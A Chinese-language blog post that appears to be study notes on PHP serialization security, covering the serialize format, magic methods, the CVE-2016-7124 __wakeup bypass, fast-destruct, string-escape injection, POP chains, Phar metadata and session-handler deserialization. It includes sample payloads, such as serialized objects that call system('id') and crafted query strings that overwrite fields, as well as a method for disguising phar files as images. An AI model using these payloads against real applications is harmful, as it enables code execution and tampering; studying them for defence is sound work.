Turker
发布于 2025-06-15 / 3 阅读
0
0

PHP安全——序列化与反序列化

PHP安全——序列化和反序列化

PHP反序列化基础

PHP对象和类

类是对一些属性和方法的定义,对象是类的实例。

class Person {
    // 属性(成员变量)
    public $name;
    private $age;
  
    // 方法(成员函数)
    public function sayHello() {
        echo "Hello, my name is " . $this->name;
    }
  
    // 构造函数
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}


// 创建对象
$person1 = new Person("Alice", 25);
$person2 = new Person("Bob", 30);

// 访问对象属性和方法
$person1->sayHello(); // 输出: Hello, my name is Alice
echo $person2->name;  // 输出: Bob

PHP序列化与反序列化

序列化就是将对象转换为字符串,反序列化就是将字符串再转换为原来的对象

echo(serialize($person1)); // 序列化对象
O:6:"Person":2:{s:4:"name";s:5:"Alice";s:11:"Personage";i:25;}

O:6:"Person":2:

  • O = 对象类型
  • 6 = 类名长度("Person"有6个字符)
  • "Person" = 类名
  • 2 = 对象有2个属性

属性1 - s:4:"name";s:5:"Alice";

  • s:4:"name" = 字符串类型,长度4,属性名"name"
  • s:5:"Alice" = 字符串类型,长度5,值"Alice"

属性2 - s:11:"Personage";i:25;

  • s:11:"Personage" = 字符串类型,长度11,实际上是 \0Person\0age
  • i:25 = 整数类型,值25

魔术方法

wakeup() //执行unserialize()时,先会调用这个函数
sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

一些小Trick

Trick01 使用S:标识进行十六进制解析

例:S:4:"\66\6c\61\67" 等价于 s:4:"flag"

Trick02 绕过__wakeup(CVE-2016-7124)

版本:PHP5 < 5.6.25;PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例如

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'construct';
    }
    public function __wakeup(){
        $this->a = 'wakeup';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}'); //输出wakeup
unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}'); //输出construct

Trick03 Fast Destruct

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的 __destruct(),提前触发反序列化链条。

O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";}

//末尾加入了一个数字1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";1}
//去掉了一个大括号
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";

Trick04 字符逃逸

字符变多

<?php
function change($str){
    return str_replace("x","xx",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
echo "反序列化后:";
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
?name=xxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:6:"hacked";}

发生了什么?

原来的 {s:4:"name";s:52:"xxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:6:"hacked";}";s:3:"age";N;}"
name声明的52个字符为 xxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:6:"hacked";}

变成了 {s:4:"name";s:52:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:6:"hacked";}";s:3:"age";N;}"
name声明的52个字符为 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

字符变少

<?php
function change($str){
    return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
echo "反序列化后:";
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"hacked";}

发生了什么?

原来的 {s:4:"name";s:40:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:28:"11";s:3:"age";s:6:"hacked";}";}"
name声明的40个字符为 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

变成了 {s:4:"name";s:40:"xxxxxxxxxxxxxxxxxxxx";s:3:"age";s:28:"11";s:3:"age";s:6:"hacked";}";}"
name声明的40个字符为 xxxxxxxxxxxxxxxxxxxx";s:3:"age";s:28:"11

Trick05 深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

$A = &$B;

POP链

如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。POP链即构造嵌套的对象,使函数连续触发

Phar反序列化

phar文件是一种归档文件,在使用phar://协议解析时会对其meta-data部分进行反序列化,从而在没有可以利用的unserialize函数时提供反序列化入口。

触发点几乎是任何和文件有关的函数

All Phar archives contain three to four sections:

  1. a stub
    识别phar拓展的标识,格式为:xxx<?php xxx; HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。
  2. a manifest describing the contents
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据。
  3. the file contents被压缩文件的内容。
  4. [optional] a signature for verifying Phar integrity (phar file format only)
    签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。

这里有两个关键点:

  1. 文件标识,必须以 HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
  2. 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

SESSION反序列化

php session 以序列化形式存储,在读取时存在反序列化过程

php.ini中 session.serialize_handler 定义了存储session使用的序列化引擎,当存储和读取使用了不一样的引擎,就会产生反序列化漏洞

php_serialize 经过 serialize() 函数序列化数组
php 键名 + 竖线 + 经过 serialize() 函数处理的值
php_binary 键名的长度对应的 ascii 字符 + 键名 + serialize() 函数序列化的值

也就是说,使用php_serialize存储一个竖线+序列化字符串的session,序列化字符串会被php解析


评论